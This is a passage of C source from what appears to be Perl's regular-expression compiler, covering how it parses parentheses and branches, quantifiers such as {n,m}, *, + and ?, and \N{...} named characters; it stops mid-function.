/* (...) */ capturing_parens: parno = RExC_npar; RExC_npar++; if (! ALL_PARENS_COUNTED) { /* If we are in our first pass through (and maybe only pass), * we need to allocate memory for the capturing parentheses * data structures. */ if (!RExC_parens_buf_size) { /* first guess at number of parens we might encounter */ RExC_parens_buf_size = 10; /* setup RExC_open_parens, which holds the address of each * OPEN tag, and to make things simpler for the 0 index the * start of the program - this is used later for offsets */ Newxz(RExC_open_parens, RExC_parens_buf_size, regnode_offset); RExC_open_parens[0] = 1; /* +1 for REG_MAGIC */ /* setup RExC_close_parens, which holds the address of each * CLOSE tag, and to make things simpler for the 0 index * the end of the program - this is used later for offsets * */ Newxz(RExC_close_parens, RExC_parens_buf_size, regnode_offset); /* we dont know where end op starts yet, so we dont need to * set RExC_close_parens[0] like we do RExC_open_parens[0] * above */ } else if (RExC_npar > RExC_parens_buf_size) { I32 old_size = RExC_parens_buf_size; RExC_parens_buf_size *= 2; Renew(RExC_open_parens, RExC_parens_buf_size, regnode_offset); Zero(RExC_open_parens + old_size, RExC_parens_buf_size - old_size, regnode_offset); Renew(RExC_close_parens, RExC_parens_buf_size, regnode_offset); Zero(RExC_close_parens + old_size, RExC_parens_buf_size - old_size, regnode_offset); } } ret = reganode(pRExC_state, OPEN, parno); if (!RExC_nestroot) RExC_nestroot = parno; if (RExC_open_parens && !RExC_open_parens[parno]) { DEBUG_OPTIMISE_MORE_r(Perl_re_printf( aTHX_ "%*s%*s Setting open paren #%" IVdf " to %d\n", 22, "| |", (int)(depth * 2 + 1), "", (IV)parno, ret)); RExC_open_parens[parno]= ret; } Set_Node_Length(REGNODE_p(ret), 1); /* MJD */ Set_Node_Offset(REGNODE_p(ret), RExC_parse); /* MJD */ is_open = 1; } else { /* with RXf_PMf_NOCAPTURE treat (...) as (?:...) */ paren = ':'; ret = 0; } } } else /* ! paren */ ret = 0; parse_rest: /* Pick up the branches, linking them together. */ parse_start = RExC_parse; /* MJD */ br = regbranch(pRExC_state, &flags, 1, depth+1); /* branch_len = (paren != 0); */ if (br == 0) { RETURN_FAIL_ON_RESTART(flags, flagp); FAIL2("panic: regbranch returned failure, flags=%#" UVxf, (UV) flags); } if (*RExC_parse == '|') { if (RExC_use_BRANCHJ) { reginsert(pRExC_state, BRANCHJ, br, depth+1); } else { /* MJD */ reginsert(pRExC_state, BRANCH, br, depth+1); Set_Node_Length(REGNODE_p(br), paren != 0); Set_Node_Offset_To_R(br, parse_start-RExC_start); } have_branch = 1; } else if (paren == ':') { *flagp |= flags&SIMPLE; } if (is_open) { /* Starts with OPEN. */ if (! REGTAIL(pRExC_state, ret, br)) { /* OPEN -> first. */ REQUIRE_BRANCHJ(flagp, 0); } } else if (paren != '?') /* Not Conditional */ ret = br; *flagp |= flags & (SPSTART | HASWIDTH | POSTPONED); lastbr = br; while (*RExC_parse == '|') { if (RExC_use_BRANCHJ) { bool shut_gcc_up; ender = reganode(pRExC_state, LONGJMP, 0); /* Append to the previous. */ shut_gcc_up = REGTAIL(pRExC_state, REGNODE_OFFSET(NEXTOPER(NEXTOPER(REGNODE_p(lastbr)))), ender); PERL_UNUSED_VAR(shut_gcc_up); } nextchar(pRExC_state); if (freeze_paren) { if (RExC_npar > after_freeze) after_freeze = RExC_npar; RExC_npar = freeze_paren; } br = regbranch(pRExC_state, &flags, 0, depth+1); if (br == 0) { RETURN_FAIL_ON_RESTART(flags, flagp); FAIL2("panic: regbranch returned failure, flags=%#" UVxf, (UV) flags); } if (! REGTAIL(pRExC_state, lastbr, br)) { /* BRANCH -> BRANCH. */ REQUIRE_BRANCHJ(flagp, 0); } lastbr = br; *flagp |= flags & (SPSTART | HASWIDTH | POSTPONED); } if (have_branch || paren != ':') { regnode * br; /* Make a closing node, and hook it on the end. */ switch (paren) { case ':': ender = reg_node(pRExC_state, TAIL); break; case 1: case 2: ender = reganode(pRExC_state, CLOSE, parno); if ( RExC_close_parens ) { DEBUG_OPTIMISE_MORE_r(Perl_re_printf( aTHX_ "%*s%*s Setting close paren #%" IVdf " to %d\n", 22, "| |", (int)(depth * 2 + 1), "", (IV)parno, ender)); RExC_close_parens[parno]= ender; if (RExC_nestroot == parno) RExC_nestroot = 0; } Set_Node_Offset(REGNODE_p(ender), RExC_parse+1); /* MJD */ Set_Node_Length(REGNODE_p(ender), 1); /* MJD */ break; case 's': ender = reg_node(pRExC_state, SRCLOSE); RExC_in_script_run = 0; break; case '<': case 'a': case 'A': case 'b': case 'B': case ',': case '=': case '!': *flagp &= ~HASWIDTH; /* FALLTHROUGH */ case 't': /* aTomic */ case '>': ender = reg_node(pRExC_state, SUCCEED); break; case 0: ender = reg_node(pRExC_state, END); assert(!RExC_end_op); /* there can only be one! */ RExC_end_op = REGNODE_p(ender); if (RExC_close_parens) { DEBUG_OPTIMISE_MORE_r(Perl_re_printf( aTHX_ "%*s%*s Setting close paren #0 (END) to %d\n", 22, "| |", (int)(depth * 2 + 1), "", ender)); RExC_close_parens[0]= ender; } break; } DEBUG_PARSE_r({ DEBUG_PARSE_MSG("lsbr"); regprop(RExC_rx, RExC_mysv1, REGNODE_p(lastbr), NULL, pRExC_state); regprop(RExC_rx, RExC_mysv2, REGNODE_p(ender), NULL, pRExC_state); Perl_re_printf( aTHX_ "~ tying lastbr %s (%" IVdf ") to ender %s (%" IVdf ") offset %" IVdf "\n", SvPV_nolen_const(RExC_mysv1), (IV)lastbr, SvPV_nolen_const(RExC_mysv2), (IV)ender, (IV)(ender - lastbr) ); }); if (! REGTAIL(pRExC_state, lastbr, ender)) { REQUIRE_BRANCHJ(flagp, 0); } if (have_branch) { char is_nothing= 1; if (depth==1) RExC_seen |= REG_TOP_LEVEL_BRANCHES_SEEN; /* Hook the tails of the branches to the closing node. */ for (br = REGNODE_p(ret); br; br = regnext(br)) { const U8 op = PL_regkind[OP(br)]; if (op == BRANCH) { if (! REGTAIL_STUDY(pRExC_state, REGNODE_OFFSET(NEXTOPER(br)), ender)) { REQUIRE_BRANCHJ(flagp, 0); } if ( OP(NEXTOPER(br)) != NOTHING || regnext(NEXTOPER(br)) != REGNODE_p(ender)) is_nothing= 0; } else if (op == BRANCHJ) { bool shut_gcc_up = REGTAIL_STUDY(pRExC_state, REGNODE_OFFSET(NEXTOPER(NEXTOPER(br))), ender); PERL_UNUSED_VAR(shut_gcc_up); /* for now we always disable this optimisation * / if ( OP(NEXTOPER(NEXTOPER(br))) != NOTHING || regnext(NEXTOPER(NEXTOPER(br))) != REGNODE_p(ender)) */ is_nothing= 0; } } if (is_nothing) { regnode * ret_as_regnode = REGNODE_p(ret); br= PL_regkind[OP(ret_as_regnode)] != BRANCH ? regnext(ret_as_regnode) : ret_as_regnode; DEBUG_PARSE_r({ DEBUG_PARSE_MSG("NADA"); regprop(RExC_rx, RExC_mysv1, ret_as_regnode, NULL, pRExC_state); regprop(RExC_rx, RExC_mysv2, REGNODE_p(ender), NULL, pRExC_state); Perl_re_printf( aTHX_ "~ converting ret %s (%" IVdf ") to ender %s (%" IVdf ") offset %" IVdf "\n", SvPV_nolen_const(RExC_mysv1), (IV)REG_NODE_NUM(ret_as_regnode), SvPV_nolen_const(RExC_mysv2), (IV)ender, (IV)(ender - ret) ); }); OP(br)= NOTHING; if (OP(REGNODE_p(ender)) == TAIL) { NEXT_OFF(br)= 0; RExC_emit= REGNODE_OFFSET(br) + 1; } else { regnode *opt; for ( opt= br + 1; opt < REGNODE_p(ender) ; opt++ ) OP(opt)= OPTIMIZED; NEXT_OFF(br)= REGNODE_p(ender) - br; } } } } { const char *p; /* Even/odd or x=don't care: 010101x10x */ static const char parens[] = "=!aA<,>Bbt"; /* flag below is set to 0 up through 'A'; 1 for larger */ if (paren && (p = strchr(parens, paren))) { U8 node = ((p - parens) % 2) ? UNLESSM : IFMATCH; int flag = (p - parens) > 3; if (paren == '>' || paren == 't') { node = SUSPEND, flag = 0; } reginsert(pRExC_state, node, ret, depth+1); Set_Node_Cur_Length(REGNODE_p(ret), parse_start); Set_Node_Offset(REGNODE_p(ret), parse_start + 1); FLAGS(REGNODE_p(ret)) = flag; if (! REGTAIL_STUDY(pRExC_state, ret, reg_node(pRExC_state, TAIL))) { REQUIRE_BRANCHJ(flagp, 0); } } } /* Check for proper termination. */ if (paren) { /* restore original flags, but keep (?p) and, if we've encountered * something in the parse that changes /d rules into /u, keep the /u */ RExC_flags = oregflags | (RExC_flags & RXf_PMf_KEEPCOPY); if (DEPENDS_SEMANTICS && RExC_uni_semantics) { set_regex_charset(&RExC_flags, REGEX_UNICODE_CHARSET); } if (RExC_parse >= RExC_end || UCHARAT(RExC_parse) != ')') { RExC_parse = oregcomp_parse; vFAIL("Unmatched ("); } nextchar(pRExC_state); } else if (!paren && RExC_parse < RExC_end) { if (*RExC_parse == ')') { RExC_parse++; vFAIL("Unmatched )"); } else FAIL("Junk on end of regexp"); /* "Can't happen". */ NOT_REACHED; /* NOTREACHED */ } if (RExC_in_lookbehind) { RExC_in_lookbehind--; } if (after_freeze > RExC_npar) RExC_npar = after_freeze; return(ret); } /* - regbranch - one alternative of an | operator * * Implements the concatenation operator. * * On success, returns the offset at which any next node should be placed into * the regex engine program being compiled. * * Returns 0 otherwise, setting flagp to RESTART_PARSE if the parse needs * to be restarted, or'd with NEED_UTF8 if the pattern needs to be upgraded to * UTF-8 */ STATIC regnode_offset S_regbranch(pTHX_ RExC_state_t *pRExC_state, I32 *flagp, I32 first, U32 depth) { regnode_offset ret; regnode_offset chain = 0; regnode_offset latest; I32 flags = 0, c = 0; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGBRANCH; DEBUG_PARSE("brnc"); if (first) ret = 0; else { if (RExC_use_BRANCHJ) ret = reganode(pRExC_state, BRANCHJ, 0); else { ret = reg_node(pRExC_state, BRANCH); Set_Node_Length(REGNODE_p(ret), 1); } } *flagp = WORST; /* Tentatively. */ skip_to_be_ignored_text(pRExC_state, &RExC_parse, FALSE /* Don't force to /x */ ); while (RExC_parse < RExC_end && *RExC_parse != '|' && *RExC_parse != ')') { flags &= ~TRYAGAIN; latest = regpiece(pRExC_state, &flags, depth+1); if (latest == 0) { if (flags & TRYAGAIN) continue; RETURN_FAIL_ON_RESTART(flags, flagp); FAIL2("panic: regpiece returned failure, flags=%#" UVxf, (UV) flags); } else if (ret == 0) ret = latest; *flagp |= flags&(HASWIDTH|POSTPONED); if (chain == 0) /* First piece. */ *flagp |= flags&SPSTART; else { /* FIXME adding one for every branch after the first is probably * excessive now we have TRIE support. (hv) */ MARK_NAUGHTY(1); if (! REGTAIL(pRExC_state, chain, latest)) { /* XXX We could just redo this branch, but figuring out what * bookkeeping needs to be reset is a pain, and it's likely * that other branches that goto END will also be too large */ REQUIRE_BRANCHJ(flagp, 0); } } chain = latest; c++; } if (chain == 0) { /* Loop ran zero times. */ chain = reg_node(pRExC_state, NOTHING); if (ret == 0) ret = chain; } if (c == 1) { *flagp |= flags&SIMPLE; } return ret; } /* - regpiece - something followed by possible quantifier * + ? {n,m} * * Note that the branching code sequences used for ? and the general cases * of * and + are somewhat optimized: they use the same NOTHING node as * both the endmarker for their branch list and the body of the last branch. * It might seem that this node could be dispensed with entirely, but the * endmarker role is not redundant. * * On success, returns the offset at which any next node should be placed into * the regex engine program being compiled. * * Returns 0 otherwise, with *flagp set to indicate why: * TRYAGAIN if regatom() returns 0 with TRYAGAIN. * RESTART_PARSE if the parse needs to be restarted, or'd with * NEED_UTF8 if the pattern needs to be upgraded to UTF-8. */ STATIC regnode_offset S_regpiece(pTHX_ RExC_state_t *pRExC_state, I32 *flagp, U32 depth) { regnode_offset ret; char op; char *next; I32 flags; const char * const origparse = RExC_parse; I32 min; I32 max = REG_INFTY; #ifdef RE_TRACK_PATTERN_OFFSETS char *parse_start; #endif const char *maxpos = NULL; UV uv; /* Save the original in case we change the emitted regop to a FAIL. */ const regnode_offset orig_emit = RExC_emit; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGPIECE; DEBUG_PARSE("piec"); ret = regatom(pRExC_state, &flags, depth+1); if (ret == 0) { RETURN_FAIL_ON_RESTART_OR_FLAGS(flags, flagp, TRYAGAIN); FAIL2("panic: regatom returned failure, flags=%#" UVxf, (UV) flags); } op = *RExC_parse; if (op == '{' && regcurly(RExC_parse)) { maxpos = NULL; #ifdef RE_TRACK_PATTERN_OFFSETS parse_start = RExC_parse; /* MJD */ #endif next = RExC_parse + 1; while (isDIGIT(*next) || *next == ',') { if (*next == ',') { if (maxpos) break; else maxpos = next; } next++; } if (*next == '}') { /* got one */ const char* endptr; if (!maxpos) maxpos = next; RExC_parse++; if (isDIGIT(*RExC_parse)) { endptr = RExC_end; if (!grok_atoUV(RExC_parse, &uv, &endptr)) vFAIL("Invalid quantifier in {,}"); if (uv >= REG_INFTY) vFAIL2("Quantifier in {,} bigger than %d", REG_INFTY - 1); min = (I32)uv; } else { min = 0; } if (*maxpos == ',') maxpos++; else maxpos = RExC_parse; if (isDIGIT(*maxpos)) { endptr = RExC_end; if (!grok_atoUV(maxpos, &uv, &endptr)) vFAIL("Invalid quantifier in {,}"); if (uv >= REG_INFTY) vFAIL2("Quantifier in {,} bigger than %d", REG_INFTY - 1); max = (I32)uv; } else { max = REG_INFTY; /* meaning "infinity" */ } RExC_parse = next; nextchar(pRExC_state); if (max < min) { /* If can't match, warn and optimize to fail unconditionally */ reginsert(pRExC_state, OPFAIL, orig_emit, depth+1); ckWARNreg(RExC_parse, "Quantifier {n,m} with n > m can't match"); NEXT_OFF(REGNODE_p(orig_emit)) = regarglen[OPFAIL] + NODE_STEP_REGNODE; return ret; } else if (min == max && *RExC_parse == '?') { ckWARN2reg(RExC_parse + 1, "Useless use of greediness modifier '%c'", *RExC_parse); } do_curly: if ((flags&SIMPLE)) { if (min == 0 && max == REG_INFTY) { reginsert(pRExC_state, STAR, ret, depth+1); MARK_NAUGHTY(4); RExC_seen |= REG_UNBOUNDED_QUANTIFIER_SEEN; goto nest_check; } if (min == 1 && max == REG_INFTY) { reginsert(pRExC_state, PLUS, ret, depth+1); MARK_NAUGHTY(3); RExC_seen |= REG_UNBOUNDED_QUANTIFIER_SEEN; goto nest_check; } MARK_NAUGHTY_EXP(2, 2); reginsert(pRExC_state, CURLY, ret, depth+1); Set_Node_Offset(REGNODE_p(ret), parse_start+1); /* MJD */ Set_Node_Cur_Length(REGNODE_p(ret), parse_start); } else { const regnode_offset w = reg_node(pRExC_state, WHILEM); FLAGS(REGNODE_p(w)) = 0; if (! REGTAIL(pRExC_state, ret, w)) { REQUIRE_BRANCHJ(flagp, 0); } if (RExC_use_BRANCHJ) { reginsert(pRExC_state, LONGJMP, ret, depth+1); reginsert(pRExC_state, NOTHING, ret, depth+1); NEXT_OFF(REGNODE_p(ret)) = 3; /* Go over LONGJMP. */ } reginsert(pRExC_state, CURLYX, ret, depth+1); /* MJD hk */ Set_Node_Offset(REGNODE_p(ret), parse_start+1); Set_Node_Length(REGNODE_p(ret), op == '{' ? (RExC_parse - parse_start) : 1); if (RExC_use_BRANCHJ) NEXT_OFF(REGNODE_p(ret)) = 3; /* Go over NOTHING to LONGJMP. */ if (! REGTAIL(pRExC_state, ret, reg_node(pRExC_state, NOTHING))) { REQUIRE_BRANCHJ(flagp, 0); } RExC_whilem_seen++; MARK_NAUGHTY_EXP(1, 4); /* compound interest */ } FLAGS(REGNODE_p(ret)) = 0; if (min > 0) *flagp = WORST; if (max > 0) *flagp |= HASWIDTH; ARG1_SET(REGNODE_p(ret), (U16)min); ARG2_SET(REGNODE_p(ret), (U16)max); if (max == REG_INFTY) RExC_seen |= REG_UNBOUNDED_QUANTIFIER_SEEN; goto nest_check; } } if (!ISMULT1(op)) { *flagp = flags; return(ret); } #if 0 /* Now runtime fix should be reliable. */ /* if this is reinstated, don't forget to put this back into perldiag: =item Regexp *+ operand could be empty at {#} in regex m/%s/ (F) The part of the regexp subject to either the * or + quantifier could match an empty string. The {#} shows in the regular expression about where the problem was discovered. */ if (!(flags&HASWIDTH) && op != '?') vFAIL("Regexp *+ operand could be empty"); #endif #ifdef RE_TRACK_PATTERN_OFFSETS parse_start = RExC_parse; #endif nextchar(pRExC_state); *flagp = (op != '+') ? (WORST|SPSTART|HASWIDTH) : (WORST|HASWIDTH); if (op == '*') { min = 0; goto do_curly; } else if (op == '+') { min = 1; goto do_curly; } else if (op == '?') { min = 0; max = 1; goto do_curly; } nest_check: if (!(flags&(HASWIDTH|POSTPONED)) && max > REG_INFTY/3) { ckWARN2reg(RExC_parse, "%" UTF8f " matches null string many times", UTF8fARG(UTF, (RExC_parse >= origparse ? RExC_parse - origparse : 0), origparse)); } if (*RExC_parse == '?') { nextchar(pRExC_state); reginsert(pRExC_state, MINMOD, ret, depth+1); if (! REGTAIL(pRExC_state, ret, ret + NODE_STEP_REGNODE)) { REQUIRE_BRANCHJ(flagp, 0); } } else if (*RExC_parse == '+') { regnode_offset ender; nextchar(pRExC_state); ender = reg_node(pRExC_state, SUCCEED); if (! REGTAIL(pRExC_state, ret, ender)) { REQUIRE_BRANCHJ(flagp, 0); } reginsert(pRExC_state, SUSPEND, ret, depth+1); ender = reg_node(pRExC_state, TAIL); if (! REGTAIL(pRExC_state, ret, ender)) { REQUIRE_BRANCHJ(flagp, 0); } } if (ISMULT2(RExC_parse)) { RExC_parse++; vFAIL("Nested quantifiers"); } return(ret); } STATIC bool S_grok_bslash_N(pTHX_ RExC_state_t *pRExC_state, regnode_offset * node_p, UV * code_point_p, int * cp_count, I32 * flagp, const bool strict, const U32 depth ) { /* This routine teases apart the various meanings of \N and returns * accordingly. The input parameters constrain which meaning(s) is/are valid * in the current context. * * Exactly one of <node_p> and <code_point_p> must be non-NULL. * * If <code_point_p> is not NULL, the context is expecting the result to be a * single code point. If this \N instance turns out to a single code point, * the function returns TRUE and sets *code_point_p to that code point. * * If <node_p> is not NULL, the context is expecting the result to be one of * the things representable by a regnode. If this \N instance turns out to be * one such, the function generates the regnode, returns TRUE and sets *node_p * to point to the offset of that regnode into the regex engine program being * compiled. * * If this instance of \N isn't legal in any context, this function will * generate a fatal error and not return. * * On input, RExC_parse should point to the first char following the \N at the * time of the call. On successful return, RExC_parse will have been updated * to point to just after the sequence identified by this routine. Also * *flagp has been updated as needed. * * When there is some problem with the current context and this \N instance, * the function returns FALSE, without advancing RExC_parse, nor setting * *node_p, nor *code_point_p, nor *flagp. * * If <cp_count> is not NULL, the caller wants to know the length (in code * points) that this \N sequence matches. This is set, and the input is * parsed for errors, even if the function returns FALSE, as detailed below. * * There are 6 possibilities here, as detailed in the next 6 paragraphs. * * Probably the most common case is for the \N to specify a single code point. * *cp_count will be set to 1, and *code_point_p will be set to that code * point. * * Another possibility is for the input to be an empty \N{}. This is no * longer accepted, and will generate a fatal error. * * Another possibility is for a custom charnames handler to be in effect which * translates the input name to an empty string. *cp_count will be set to 0. * *node_p will be set to a generated NOTHING node. * * Still another possibility is for the \N to mean [^\n]. *cp_count will be * set to 0. *node_p will be set to a generated REG_ANY node. * * The fifth possibility is that \N resolves to a sequence of more than one * code points. *cp_count will be set to the number of code points in the * sequence. *node_p will be set to a generated node returned by this * function calling S_reg(). * * The final possibility is that it is premature to be calling this function; * the parse needs to be restarted. This can happen when this changes from * /d to /u rules, or when the pattern needs to be upgraded to UTF-8. The * latter occurs only when the fifth possibility would otherwise be in * effect, and is because one of those code points requires the pattern to be * recompiled as UTF-8. The function returns FALSE, and sets the * RESTART_PARSE and NEED_UTF8 flags in *flagp, as appropriate. When this * happens, the caller needs to desist from continuing parsing, and return * this information to its caller. This is not set for when there is only one * code point, as this can be called as part of an ANYOF node, and they can * store above-Latin1 code points without the pattern having to be in UTF-8. * * For non-single-quoted regexes, the tokenizer has resolved character and * sequence names inside \N{...} into their Unicode values, normalizing the * result into what we should see here: '\N{U+c1.c2...}', where c1... are the * hex-represented code points in the sequence. This is done there because * the names can vary based on what charnames pragma is in scope at the time, * so we need a way to take a snapshot of what they resolve to at the time of * the original parse. [perl #56444]. * * That parsing is skipped for single-quoted regexes, so here we may get * '\N{NAME}', which is parsed now. If the single-quoted regex is something * like '\N{U+41}', that code point is Unicode, and has to be translated into * the native character set for non-ASCII platforms. The other possibilities * are already native, so no translation is done. */ char * endbrace; /* points to '}' following the name */ char* p = RExC_parse; /* Temporary */ SV * substitute_parse = NULL; char *orig_end; char *save_start; I32 flags; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_GROK_BSLASH_N; GET_RE_DEBUG_FLAGS; assert(cBOOL(node_p) ^ cBOOL(code_point_p)); /* Exactly one should be set */ assert(! (node_p && cp_count)); /* At most 1 should be set */ if (cp_count) { /* Initialize return for the most common case */ *cp_count = 1; } /* The [^\n] meaning of \N ignores spaces and comments under the /x * modifier. The other meanings do not, so use a temporary until we find * out which we are being called with */ skip_to_be_ignored_text(pRExC_state, &p, FALSE /* Don't force to /x */ ); /* Disambiguate between \N meaning a named character versus \N meaning * [^\n]. The latter is assumed when the {...} following the \N is a legal * quantifier, or if there is no '{' at all */ if (*p != '{' || regcurly(p)) { RExC_parse = p; if (cp_count) { *cp_count = -1; } if (! node_p) { return FALSE; } *node_p = reg_node(pRExC_state, REG_ANY); *flagp |= HASWIDTH|SIMPLE; MARK_NAUGHTY(1); Set_Node_Length(REGNODE_p(*(node_p)), 1); /* MJD */ return TRUE; } /* The test above made sure that the next real character is a '{', but * under the /x modifier, it could be separated by space (or a comment and * \n) and this is not allowed (for consistency with \x{...} and the * tokenizer handling of \N{NAME}). */ if (*RExC_parse != '{') { vFAIL("Missing braces on \\N{}"); } RExC_parse++; /* Skip past the '{' */ endbrace = (char *) memchr(RExC_parse, '}', RExC_end - RExC_parse); if (! endbrace) { /* no trailing brace */ vFAIL2("Missing right brace on \\%c{}", 'N'); } /* Here, we have decided it should be a named character or sequence. These * imply Unicode semantics */ REQUIRE_UNI_RULES(flagp, FALSE); /* \N{_} is what toke.c returns to us to indicate a name that evaluates to * nothing at all (not allowed under strict) */ if (endbrace - RExC_parse == 1 && *RExC_parse == '_') { RExC_parse = endbrace; if (strict) { RExC_parse++; /* Position after the "}" */ vFAIL("Zero length \\N{}"); } if (cp_count) { *cp_count = 0; } nextchar(pRExC_state); if (! node_p) { return FALSE; } *node_p = reg_node(pRExC_state, NOTHING); return TRUE; } if (endbrace - RExC_parse < 2 || ! strBEGINs(RExC_parse, "U+")) { /* Here, the name isn't of the form U+.... This can happen if the * pattern is single-quoted, so didn't get evaluated in toke.c. Now * is the time to find out what the name means */ const STRLEN name_len = endbrace - RExC_parse; SV * value_sv; /* What does this name evaluate to */ SV ** value_svp; const U8 * value; /* string of name's value */ STRLEN value_len; /* and its length */ /* RExC_unlexed_names is a hash of names that weren't evaluated by * toke.c, and their values. Make sure is initialized */ if (! RExC_unlexed_names) { RExC_unlexed_names = newHV(); } /* If we have already seen this name in this pattern, use that. This * allows us to only call the charnames handler once per name per * pattern. A broken or malicious handler could return something * different each time, which could cause the results to vary depending * on if something gets added or subtracted from the pattern that * causes the number of passes to change, for example */ if ((value_svp = hv_fetch(RExC_unlexed_names, RExC_parse, name_len, 0))) { value_sv = *value_svp; } else { /* Otherwise we have to go out and get the name */ const char * error_msg = NULL; value_sv = get_and_check_backslash_N_name(RExC_parse, endbrace, UTF, &error_msg); if (error_msg) { RExC_parse = endbrace; vFAIL(error_msg); } /* If no error message, should have gotten a valid return */ assert (value_sv); /* Save the name's meaning for later use */ if (! hv_store(RExC_unlexed_names, RExC_parse, name_len, value_sv, 0)) { Perl_croak(aTHX_ "panic: hv_store() unexpectedly failed"); } } /* Here, we have the value the name evaluates to in 'value_sv' */ value = (U8 *) SvPV(value_sv, value_len); /* See if the result is one code point vs 0 or multiple */ if (value_len > 0 && value_len <= (UV) ((SvUTF8(value_sv)) ? UTF8SKIP(value) : 1)) { /* Here, exactly one code point. If that isn't what is wanted, * fail */ if (! code_point_p) { RExC_parse = p; return FALSE; } /* Convert from string to numeric code point */ *code_point_p = (SvUTF8(value_sv)) ? valid_utf8_to_uvchr(value, NULL) : *value; /* Have parsed this entire single code point \N{...}. *cp_count * has already been set to 1, so don't do it again. */ RExC_parse = endbrace; nextchar(pRExC_state); return TRUE; } /* End of is a single code point */ /* Count the code points, if caller desires. The API says to do this * even if we will later return FALSE */ if (cp_count) { *cp_count = 0; *cp_count = (SvUTF8(value_sv)) ? utf8_length(value, value + value_len) : value_len; } /* Fail if caller doesn't want to handle a multi-code-point sequence. * But don't back the pointer up if the caller wants to know how many * code points there are (they need to handle it themselves in this * case). */ if (! node_p) { if (! cp_count) { RExC_parse = p; } return FALSE; } /* Convert this to a sub-pattern of the form "(?: ... )", and then call * reg recursively to parse it. That way, it retains its atomicness, * while not having to worry about any special handling that some code * points may have. */ substitute_parse = newSVpvs("?:"); sv_catsv(substitute_parse, value_sv); sv_catpv(substitute_parse, ")"); #ifdef EBCDIC /* The value should already be native, so no need to convert on EBCDIC * platforms.*/ assert(! RExC_recode_x_to_native); #endif } else { /* \N{U+...} */ Size_t count = 0; /* code point count kept internally */ /* We can get to here when the input is \N{U+...} or when toke.c has * converted a name to the \N{U+...} form. This include changing a * name that evaluates to multiple code points to \N{U+c1.c2.c3 ...} */ RExC_parse += 2; /* Skip past the 'U+' */ /* Code points are separated by dots. The '}' terminates the whole * thing. */ do { /* Loop until the ending brace */ UV cp = 0; char * start_digit; /* The first of the current code point */ if (! isXDIGIT(*RExC_parse)) { RExC_parse++; vFAIL("Invalid hexadecimal number in \\N{U+...}"); } start_digit = RExC_parse; count++; /* Loop through the hex digits of the current code point */ do { /* Adding this digit will shift the result 4 bits. If that * result would be above the legal max, it's overflow */ if (cp > MAX_LEGAL_CP >> 4) { /* Find the end of the code point */ do { RExC_parse ++; } while (isXDIGIT(*RExC_parse) || *RExC_parse == '_'); /* Be sure to synchronize this message with the similar one * in utf8.c */ vFAIL4("Use of code point 0x%.*s is not allowed; the" " permissible max is 0x%" UVxf, (int) (RExC_parse - start_digit), start_digit, MAX_LEGAL_CP); } /* Accumulate this (valid) digit into the running total */ cp = (cp << 4) + READ_XDIGIT(RExC_parse); /* READ_XDIGIT advanced the input pointer. Ignore a single * underscore separator */ if (*RExC_parse == '_' && isXDIGIT(RExC_parse[1])) { RExC_parse++; } } while (isXDIGIT(*RExC_parse)); /* Here, have accumulated the next code point */ if (RExC_parse >= endbrace) { /* If done ... */ if (count != 1) { goto do_concat; } /* Here, is a single code point; fail if doesn't want that */ if (! code_point_p) { RExC_parse = p; return FALSE; } /* A single code point is easy to handle; just return it */ *code_point_p = UNI_TO_NATIVE(cp); RExC_parse = endbrace; nextchar(pRExC_state); return TRUE; } /* Here, the only legal thing would be a multiple character * sequence (of the form "\N{U+c1.c2. ... }". So the next * character must be a dot (and the one after that can't be the * endbrace, or we'd have something like \N{U+100.} ) */ if (*RExC_parse != '.' || RExC_parse + 1 >= endbrace) { RExC_parse += (RExC_orig_utf8) /* point to after 1st invalid */ ? UTF8SKIP(RExC_parse) : 1; if (RExC_parse >= endbrace) { /* Guard against malformed utf8 */ RExC_parse = endbrace; } vFAIL("Invalid hexadecimal number in \\N{U+...}"); } /* Here, looks like its really a multiple character sequence. Fail * if that's not what the caller wants. But continue with counting * and error checking if they still want a count */ if (! node_p && ! cp_count) { return FALSE; } /* What is done here is to convert this to a sub-pattern of the * form \x{char1}\x{char2}... and then call reg recursively to * parse it (enclosing in "(?: ... )" ). That way, it retains its * atomicness, while not having to worry about special handling * that some code points may have. We don't create a subpattern, * but go through the motions of code point counting and error * checking, if the caller doesn't want a node returned. */ if (node_p && count == 1) { substitute_parse = newSVpvs("?:"); } do_concat: if (node_p) { /* Convert to notation the rest of the code understands */ sv_catpvs(substitute_parse, "\\x{"); sv_catpvn(substitute_parse, start_digit, RExC_parse - start_digit); sv_catpvs(substitute_parse, "}"); } /* Move to after the dot (or ending brace the final time through.) * */ RExC_parse++; count++; } while (RExC_parse < endbrace); if (! node_p) { /* Doesn't want the node */ assert (cp_count); *cp_count = count; return FALSE; } sv_catpvs(substitute_parse, ")"); #ifdef EBCDIC /* The values are Unicode, and therefore have to be converted to native * on a non-Unicode (meaning non-ASCII) platform. */ RExC_recode_x_to_native = 1; #endif } /* Here, we have the string the name evaluates to, ready to be parsed, * stored in 'substitute_parse' as a series of valid "\x{...}\x{...}" * constructs. This can be called from within a substitute parse already. * The error reporting mechanism doesn't work for 2 levels of this, but the * code above has validated this new construct, so there should be no * errors generated by the below. And this isn' an exact copy, so the * mechanism to seamlessly deal with this won't work, so turn off warnings * during it */ save_start = RExC_start; orig_end = RExC_end; RExC_parse = RExC_start = SvPVX(substitute_parse); RExC_end = RExC_parse + SvCUR(substitute_parse); TURN_OFF_WARNINGS_IN_SUBSTITUTE_PARSE; *node_p = reg(pRExC_state, 1, &flags, depth+1); /* Restore the saved values */ RESTORE_WARNINGS; RExC_start = save_start; RExC_parse = endbrace; RExC_end = orig_end; #ifdef EBCDIC RExC_recode_x_to_native = 0; #endif SvREFCNT_dec_NN(substitute_parse); if (! *node_p) { RETURN_FAIL_ON_RESTART(flags, flagp); FAIL2("panic: reg returned failure to grok_bslash_N, flags=%#" UVxf, (UV) flags); } *flagp |= flags&(HASWIDTH|SPSTART|SIMPLE|POSTPONED); nextchar(pRExC_state); return TRUE; } PERL_STATIC_INLINE U8 S_compute_EXACTish(RExC_state_t *pRExC_state) { U8 op; PERL_ARGS_ASSERT_COMPUTE_EXACTISH; if (! FOLD) { return (LOC) ? EXACTL : EXACT; } op = get_regex_charset(RExC_flags); if (op >= REGEX_ASCII_RESTRICTED_CHARSET) { op--; /* /a is same as /u, and map /aa's offset to what /a's would have been, so there is no hole */ } return op + EXACTF; } STATIC bool S_new_regcurly(const char *s, const char *e) { /* This is a temporary 